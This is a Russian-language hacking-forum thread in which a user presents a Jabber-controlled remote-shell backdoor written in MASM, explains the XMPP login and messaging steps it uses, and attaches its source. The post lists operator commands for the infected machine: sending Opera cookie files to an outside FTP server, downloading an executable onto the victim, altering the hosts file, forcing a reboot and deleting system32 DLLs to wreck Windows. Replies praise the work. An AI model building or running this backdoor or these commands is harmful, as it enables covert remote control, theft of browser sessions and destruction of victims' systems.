• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [MASM] Jabber backdoor

waahoo

ворчливый дед
Эксперт
Регистрация
01.12.2010
Сообщения
843
Реакции
1 661
Доброго времени суток форумчане. Сегодня Вашему вниманию представляется пример удаленного шелла с использованием протокола Jabber. Здесь и отныне будет использоваться MASM32. Будут затронуты следующие моменты:
  • асинхронная работа с сокетами
  • запуск приложений с перенаправлением вывода консоли в пайп
Итак начмемс :)
О том что такое Jabber Вы можете почитать тут. Прочитали? Тогда продолжим.
Авторизация:
Все начинается с авторизации на джаббер сервере, для этого необходимо заранее зарегистрировать аккаунт на одном из серверов. Некоторые сервера позволяют сделать это без ввода всяких там капч и емейлов, а некоторые нет, но об этом позже. Мы будем использовать PLAIN авторизацию как самую простую в реализации, в качестве сервера возьмем наш сервер dlab.org.in, соединяемся на 5222 порт и отправляем первый "пакет" данных.
Код:
<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>
Именно с этого начинается так называемый "поток". Ответ сервера:
Код:
<?xml version='1.0'?>
<stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='3027075041' from='dlab.org.in' version='1.0' xml:lang='en'>
	<stream:features>
  <starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>
  <mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'>
  	<mechanism>DIGEST-MD5</mechanism>
  	<mechanism>PLAIN</mechanism>
  </mechanisms>
  <register xmlns='http://jabber.org/features/iq-register'/>
	</stream:features>
Cервер сообщил, что
<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/> - поддерживает шифрование потока (TLS)
<mechanism>DIGEST-MD5</mechanism> - авторизацию методом DIGEST-MD5
<mechanism>PLAIN</mechanism> - авторизацию методом PLAIN
<register xmlns='http://jabber.org/features/iq-register'/> - можно зарегистрировать аккаунт средствами протокола

Выше уже говорилось, что использовать мы будем PLAIN. Отправляем вторую часть:
Код:
<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>AHRlc3Rib3QAMTIzNDU2</auth>
Тут передается способ и данные для авторизации. AHRlc3Rib3QAMTIzNDU2 это base64 от строчки \0testbot\0123456, где testbot - это логин, а 123456 - это пароль.

13294.gif


на что сервер в случае успеха должен ответить:
Код:
<success xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/>
или же
Код:
<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>
в случае если авторизация не прошла.

2. Привязка ресурса к потоку и начало сессии
После авторизации нужно повторно отправить "начало потока":
Код:
<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>
Ответ сервера:
Код:
<?xml version='1.0'?>
<stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='3458640585' from='dlab.org.in' version='1.0' xml:lang='en'>
	<stream:features>
  <bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'/>
  <session xmlns='urn:ietf:params:xml:ns:xmpp-session'/>
	</stream:features>
Сервер сообщает нам, что нужно определится с ресурсом и начать сессию, сказано - сделано.
Говорим серверу что будем использовать ресурс "test"
Код:
<iq type='set'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'><resource>test</resource></bind></iq>
Ответ сервера:
Код:
<iq type='result'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'><jid>testbot@dlab.org.in/test</jid></bind></iq>
Ресурс привязан, начинаем сессию:
Код:
<iq type='set'><session xmlns='urn:ietf:params:xml:ns:xmpp-session'/></iq>
Ответ сервера:
Код:
<iq type='result'><session xmlns='urn:ietf:params:xml:ns:xmpp-session'/></iq>
Это тот минимум действий который необходим для отправки сообщений, про прочие примочки/заморочки протокола можно почитать тут.

3. Отправка сообщений
Код:
<message from='testbot@dlab.org.in' to='waahoo@dlab.org.in' type='chat'><body>ololo</body></message>
поля from и to говорят сами за себя, это имя отправителя и получателя соответственно, в поле type указывается тип сообщения, кстате клиенту QIP пофик на то, что там указано, но вот PSI нервно разделяет сообщения по типам и если там не 'chat' открывает каждое сообщение в новом окне.
Существует три правила для передачи сообщений:
1. если сообщение содержит символы национальных алфавитов, то оно должно быть в кодировке UTF8
2. спецсимволы & " ' > < должны быть заменены HTML синонимами &amp; &quot; &apos; &gt; &lt; соответственно.
3. никаких нулей

В аттаче находится исходный код полностью рабочего бекдора, код прокомментирован, так что сюда выписывать ничего не буду. Размер бинаря на выходе 5кб, что не может не радовать.
Напишу лишь про вспомогательные процедуры:
UnicodeToUTF8 - название говорит само за себя, в качестве единственного параметра принимает указатель на Unicode строку.
OEMToUTF8 - аналогична предъидущей, но с той разницей, что принимает указатель на память выделенную из кучи, реаллоцирует ее и возвращает указатель т.е. вызывающаю процедура должна обновить у себя указатель после вызова.
htmlspecialchars - аналог одноименной функции из PHP, заменяет спецсимволы на HTML аналоги, передаваемый указатель требует обновления после вызова.
htmlspecialchars_decode - обратна предъидущей, передаваемый указатель не требует обновления после вызова.

Существует один косяк, если выполнить команду вывод которой больше чем размер буфера пайпа (напр. tree.com c:\ /f) - выполнение программы приостанавливается до тех пор пока данные не заберут, а т.к. забирать их некому (бот ждет завершения дочернего процесса) наступает таймаут и бот прибивает дочений процесс.
Решение: не ждать окончание дочернего процесса, а переодически проверять пайп и забирать оттуда данные если таковые имеются, кому надо тот сделает, мне лень :)

Вторая недороботка, это то что бот не принимает русских символов в командах. Нужно дописывать процедуру UTF8To(Ansi/Unicode)

Но это уже херня, основная цель достигнута, бот выполняет команды и передает консольный вывод вызывающему через Jabber, чего нехватает сами допишите :)

Ну и напоследок примеры комманд:
Воруем файлы на примере кукисов от оперы
Код:
cmd.exe /c echo open ftp.narod.ru>%tmp%\ftp&&echo username>>%tmp%\ftp&&echo userpass>>%tmp%\ftp&&echo binary>>%tmp%\ftp&&echo put "%HOMEDRIVE%%HOMEPATH%\Application Data\Opera\Opera\cookies4.dat">>%tmp%\ftp&&echo bye>>%tmp%\ftp&&ftp.exe -s:%tmp%\ftp
Разберем данную команду, на самом деле это группа команд.
cmd.exe /c - запускает cmd.exe в режиме "выполнить команду и завершить работу"
echo open ftp.narod.ru>%tmp%\ftp - пишет строчку "open ftp.narod.ru" в файл %tmp%\ftp, таких команд несколько, разделены они символами && и будут выполнены по очереди.
ftp.exe -s:%tmp%\ftp - последняя часть команды. Запускает встроенный в систему FTP клиент с указанием выполнить команды из файла %tmp%\ftp.
В результате выполнения данной команды будет создан файл ответов %tmp%\ftp со следующим содержанием:
Код:
open ftp.narod.ru
username
userpass
binary
put "C:\Users\user\Application Data\Opera\Opera\cookies4.dat"
bye
Будет запущен FTP клиент с указанием выполнить команды из этого файла. Разумеется username и userpass нужно заменить на Ваши. После того как он отработает можно заходить на свой FTP сервер и забирать кукисы. Этот пример подразумевает использование FTP сервера ftp.narod.ru

Заливаем файл на машину
Код:
cmd.exe /c echo open ftp.narod.ru>%tmp%\ftp&&echo username>>%tmp%\ftp&&echo userpass>>%tmp%\ftp&&echo binary>>%tmp%\ftp&&echo get sample.exe %tmp%\sample.exe>> %tmp%\ftp&&echo bye>>%tmp%\ftp

Правим hosts
Код:
cmd.exe /c echo 127.0.0.1 vkontakte.ru>>%windir%\System32\drivers\etc\hosts

Получаем информацию об удаленной машине
Код:
systeminfo

Покажем сообщение
Код:
msg * The Matrix has you!

Перезагружаем машину
Код:
shutdown -r -t 0 -f

Убиваем Windows [anti-google]
Код:
cmd.exe /C del /f /q %windir%\system32\*.dll

Замечания и критика приветствуются. Копипаст с указанием источника разрешен. Помидоры приберечь, это так сказать проба пера.

waahoo [2011], специально для DamageLab
 

Вложения

  • jbd.zip
    4.7 КБ · Просмотры: 104
Пожалуйста, обратите внимание, что пользователь заблокирован
[mod][Ar3s:] почистил флуд, подкорректировал пост.[/mod]

Автору огромный респект за статью и пример кода, по работе с jabber сейчас мало инфы, а на Ассемблере так и тем более.
 
также +1, несмотря на то что cmd-шеллы и магические батники меня мало смогли заинтересовать ,но вот сам jabber протокол и наглядный пример тс - это познавательно.
 
mzh пишет:
ой а чо не на машкодах)
Так как раз ценностью данного эпоса и являются "машкоды"
Если бы использовался другой ЯП – это уже был бы БАЯН

Barack пишет:
несмотря на то что cmd-шеллы и магические батники меня мало смогли заинтересовать
Если мне память не изменяет, то у Zeus`а есть класс на PHP (jabberclass.php), так что любители ООП могут поэкспериментировать на нем
waahoo пишет:
и отправляем первый "пакет" данных.
Код:
<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>
Код:
function connect()
{
  if($this->openSocket($this->server, $this->port))
  {
    $this->sendPacket("<?xml version='1.0' encoding='UTF-8' ?".">\n");
    $this->sendPacket("<stream:stream to='{$this->server}' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams'>\n");
    sleep(2);
    if($this->checkConnected())return true;
  }
  return false;
}

waahoo пишет:
Помидоры приберечь, это так сказать проба пера.
Не удержался %)))
Начало действительно было захватывающее, но уже ближе к середине становилось уныло
Вот начиная отсюда:
waahoo пишет:
кому надо тот сделает, мне лень
Потом далее:
waahoo пишет:
Но это уже херня, ..., чего нехватает сами допишите
А выглядит это со стороны как бы.. кхе-кхе...
В данных местах нужно было додумать текст, и написать так чтобы читающий, не дочитав статьи, хотел уже сразу приступить к кодингу – ИМХО
Ну и вот это жуть:
waahoo пишет:
Убиваем Windows
Код:
cmd.exe /C del /f /q %windir%\system32\*.dll
Такие громкие фразы обычно привлекают с гугля различного рода нечисть и ужасных троллей, которые нам здесь нах не нужны..
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх